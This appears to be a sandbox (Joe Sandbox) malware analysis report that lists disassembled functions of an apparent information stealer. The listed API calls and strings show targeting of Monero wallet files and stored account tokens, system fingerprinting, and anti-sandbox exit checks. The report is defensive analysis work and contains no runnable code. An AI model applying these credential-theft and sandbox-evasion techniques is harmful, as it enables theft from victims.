Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID: {$({$8{$@{$P{
API String ID: 3113730047-3020480651
Opcode ID: 01330ec95b659a466ecd4e713bca28de273cad9ff9b582781cb94aefaaf91e3f
Instruction ID: 366383d457bb5790a352560826f39f7d5e88621b83242917719143e2c48cb0a1
Opcode Fuzzy Hash: 01330ec95b659a466ecd4e713bca28de273cad9ff9b582781cb94aefaaf91e3f
Instruction Fuzzy Hash: D8729371C10158AADB19FB90DCA2DDE733DAF14300F5842ABB51662191EF342B49FF6A

Function 00FCBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FDA9B0: lstrlen.KERNEL32(?,007B8F98,?,\Monero\wallet.keys,00FE0E17), ref: 00FDA9C5
Part of subcall function 00FDA9B0: lstrcpy.KERNEL32(00000000), ref: 00FDAA04
Part of subcall function 00FDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FDAA12

Part of subcall function 00FDA920: lstrcpy.KERNEL32(00000000,?), ref: 00FDA972
Part of subcall function 00FDA920: lstrcat.KERNEL32(00000000), ref: 00FDA982

Part of subcall function 00FDA8A0: lstrcpy.KERNEL32(?,00FE0E17), ref: 00FDA905

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

lstrlen.KERNEL32(00000000), ref: 00FCBC9F

Part of subcall function 00FD8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00FD8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 00FCBCCD
lstrlen.KERNEL32(00000000), ref: 00FCBDA5
lstrlen.KERNEL32(00000000), ref: 00FCBDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 00FCBBEB
AccountTokens, xrefs: 00FCBABA
AccountId, xrefs: 00FCBCC4
AccountTokens, xrefs: 00FCBB49

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 29487fca69e7a8d78e31d14fe94ff1af628ddb6cd221e216f0754d53b6464355
Instruction ID: 7fda6c7da04caea4e06205b01c57a2ff8804b521bcfb1e6bdfd188baff15e306
Opcode Fuzzy Hash: 29487fca69e7a8d78e31d14fe94ff1af628ddb6cd221e216f0754d53b6464355
Instruction Fuzzy Hash: EBB152719101089BDF14FBA0DD96EEE7339BF54300F44415AF506A3292EF386A49FB6A

Function 00FD4780 Relevance: 12.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,007BE338), ref: 00FD47DB

Part of subcall function 00FD8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00FD8E0B

lstrcat.KERNEL32(?,00000000), ref: 00FD4801
lstrcat.KERNEL32(?,?), ref: 00FD4820
lstrcat.KERNEL32(?,?), ref: 00FD4834
lstrcat.KERNEL32(?,007ABA90), ref: 00FD4847
lstrcat.KERNEL32(?,?), ref: 00FD485B
lstrcat.KERNEL32(?,007BDC80), ref: 00FD486F

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FD8D90: GetFileAttributesA.KERNEL32(00000000,?,00FC1B54,?,?,00FE564C,?,?,00FE0E1F), ref: 00FD8D9F

Part of subcall function 00FD4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00FD4580
Part of subcall function 00FD4570: RtlAllocateHeap.NTDLL(00000000), ref: 00FD4587
Part of subcall function 00FD4570: wsprintfA.USER32 ref: 00FD45A6
Part of subcall function 00FD4570: FindFirstFileA.KERNEL32(?,?), ref: 00FD45BD

Strings

8{, xrefs: 00FD47CD

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: 8{
API String ID: 2540262943-2177995864
Opcode ID: 8472a0961a9fdf3b553ecde6cb711e3260bc6ee2014122a6408855ae838bed8a
Instruction ID: 10a0625f009cd1468c089ab41db55000f7dc519e674c91be979a75ace75ea250
Opcode Fuzzy Hash: 8472a0961a9fdf3b553ecde6cb711e3260bc6ee2014122a6408855ae838bed8a
Instruction Fuzzy Hash: 7731B3B690030857CB21F7B0DC89EED737DAB48700F444689B35593182EE78D7899B95

Function 00FC4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00FC4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00FC4FD1
InternetOpenA.WININET(00FE0DDF,00000000,00000000,00000000,00000000), ref: 00FC4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00FC5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00FC5041
InternetCloseHandle.WININET(?), ref: 00FC50B9
InternetCloseHandle.WININET(?), ref: 00FC50C6

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 46dcce86268cf379f99eeadcc8e580b27c338403a47b7815c91eb93208711440
Instruction ID: 061fbcd4ff73d996449d8d4023c27bcf853ad7e499bbadd03e5a00bc4ebed04b
Opcode Fuzzy Hash: 46dcce86268cf379f99eeadcc8e580b27c338403a47b7815c91eb93208711440
Instruction Fuzzy Hash: 913136B4A40218EBDB24CF54DD89BDCB7B4EB48704F5081D9FA09A7281CB706EC59F98

Function 00FD83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00FD8426
wsprintfA.USER32 ref: 00FD8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00FD847B
RegCloseKey.ADVAPI32(00000000), ref: 00FD848C
RegCloseKey.ADVAPI32(00000000), ref: 00FD8499

Part of subcall function 00FDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FDA7E6

RegQueryValueExA.KERNEL32(00000000,007BE158,00000000,000F003F,?,00000400), ref: 00FD84EC
lstrlen.KERNEL32(?), ref: 00FD8501
RegQueryValueExA.KERNEL32(00000000,007BE068,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00FE0B34), ref: 00FD8599
RegCloseKey.KERNEL32(00000000), ref: 00FD8608
RegCloseKey.ADVAPI32(00000000), ref: 00FD861A

Strings

%s\%s, xrefs: 00FD844D

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 631334ab8cbea67b95661c2755da9fe054dad4579266d95094be782e8bbce2e0
Instruction ID: 01b81aa9889f7064678feb8f6fcd61d41eb9502da628a041479bd9a9cccdc195
Opcode Fuzzy Hash: 631334ab8cbea67b95661c2755da9fe054dad4579266d95094be782e8bbce2e0
Instruction Fuzzy Hash: F0213971910218ABDB24DB54DC85FE9B3B9FB48710F00C2D9E609A7281DF71AA82DFD4

Function 00FD7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FD76A4
RtlAllocateHeap.NTDLL(00000000), ref: 00FD76AB
RegOpenKeyExA.KERNEL32(80000002,007AC2E8,00000000,00020119,00000000), ref: 00FD76DD
RegQueryValueExA.KERNEL32(00000000,007BDED0,00000000,00000000,?,000000FF), ref: 00FD76FE
RegCloseKey.ADVAPI32(00000000), ref: 00FD7708

Strings

Windows 11, xrefs: 00FD76BD

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: e9fd113c25dc841fece04837938ad01a4d19b84decaa06585b7c8446ad0e525a
Instruction ID: 9154817348eb63d0ac2ed10be69eeec320340860ce7891a5fe0ba383e6d24244
Opcode Fuzzy Hash: e9fd113c25dc841fece04837938ad01a4d19b84decaa06585b7c8446ad0e525a
Instruction Fuzzy Hash: D901A2B5A00304BBD711EBE0EC4DF6EB7B8EB08700F408555FA05DB286E6709A009B50

Function 00FD7720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FD7734
RtlAllocateHeap.NTDLL(00000000), ref: 00FD773B
RegOpenKeyExA.KERNEL32(80000002,007AC2E8,00000000,00020119,00FD76B9), ref: 00FD775B
RegQueryValueExA.KERNEL32(00FD76B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 00FD777A
RegCloseKey.ADVAPI32(00FD76B9), ref: 00FD7784

Strings

CurrentBuildNumber, xrefs: 00FD7771

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 7ef93fdcbe5d6ccd63a86d2792751b8a93c6adad1cc1c565c419f8c700c5b88f
Instruction ID: 5a43f7311f0d83f68b39903fbad2723da578a3bc8a05dfe5e449961d37d4e80b
Opcode Fuzzy Hash: 7ef93fdcbe5d6ccd63a86d2792751b8a93c6adad1cc1c565c419f8c700c5b88f
Instruction Fuzzy Hash: 8D0167B5A40308BBD711DBE4EC4DFAEB7B8EB48700F404555FA05A7285DA745A00CB51

Function 00FD69F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD9860: GetProcAddress.KERNEL32(74DD0000,007B2350), ref: 00FD98A1
Part of subcall function 00FD9860: GetProcAddress.KERNEL32(74DD0000,007B2380), ref: 00FD98BA
Part of subcall function 00FD9860: GetProcAddress.KERNEL32(74DD0000,007B2410), ref: 00FD98D2
Part of subcall function 00FD9860: GetProcAddress.KERNEL32(74DD0000,007B24A0), ref: 00FD98EA
Part of subcall function 00FD9860: GetProcAddress.KERNEL32(74DD0000,007B2368), ref: 00FD9903
Part of subcall function 00FD9860: GetProcAddress.KERNEL32(74DD0000,007B9208), ref: 00FD991B
Part of subcall function 00FD9860: GetProcAddress.KERNEL32(74DD0000,007A5C50), ref: 00FD9933
Part of subcall function 00FD9860: GetProcAddress.KERNEL32(74DD0000,007A5E50), ref: 00FD994C
Part of subcall function 00FD9860: GetProcAddress.KERNEL32(74DD0000,007B22A8), ref: 00FD9964
Part of subcall function 00FD9860: GetProcAddress.KERNEL32(74DD0000,007B23B0), ref: 00FD997C
Part of subcall function 00FD9860: GetProcAddress.KERNEL32(74DD0000,007B2440), ref: 00FD9995
Part of subcall function 00FD9860: GetProcAddress.KERNEL32(74DD0000,007B2458), ref: 00FD99AD
Part of subcall function 00FD9860: GetProcAddress.KERNEL32(74DD0000,007A5D30), ref: 00FD99C5
Part of subcall function 00FD9860: GetProcAddress.KERNEL32(74DD0000,007B22D8), ref: 00FD99DE

Part of subcall function 00FDA740: lstrcpy.KERNEL32(00FE0E17,00000000), ref: 00FDA788

Part of subcall function 00FC11D0: ExitProcess.KERNEL32 ref: 00FC1211

Part of subcall function 00FC1160: GetSystemInfo.KERNEL32(?), ref: 00FC116A
Part of subcall function 00FC1160: ExitProcess.KERNEL32 ref: 00FC117E

Part of subcall function 00FC1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00FC112B
Part of subcall function 00FC1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00FC1132
Part of subcall function 00FC1110: ExitProcess.KERNEL32 ref: 00FC1143

Part of subcall function 00FC1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00FC123E
Part of subcall function 00FC1220: __aulldiv.LIBCMT ref: 00FC1258
Part of subcall function 00FC1220: __aulldiv.LIBCMT ref: 00FC1266
Part of subcall function 00FC1220: ExitProcess.KERNEL32 ref: 00FC1294

Part of subcall function 00FD6770: GetUserDefaultLangID.KERNEL32 ref: 00FD6774

Part of subcall function 00FC1190: ExitProcess.KERNEL32 ref: 00FC11C6

Part of subcall function 00FD7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FC11B7), ref: 00FD7880
Part of subcall function 00FD7850: RtlAllocateHeap.NTDLL(00000000), ref: 00FD7887
Part of subcall function 00FD7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00FD789F

Part of subcall function 00FD78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FD7910
Part of subcall function 00FD78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00FD7917
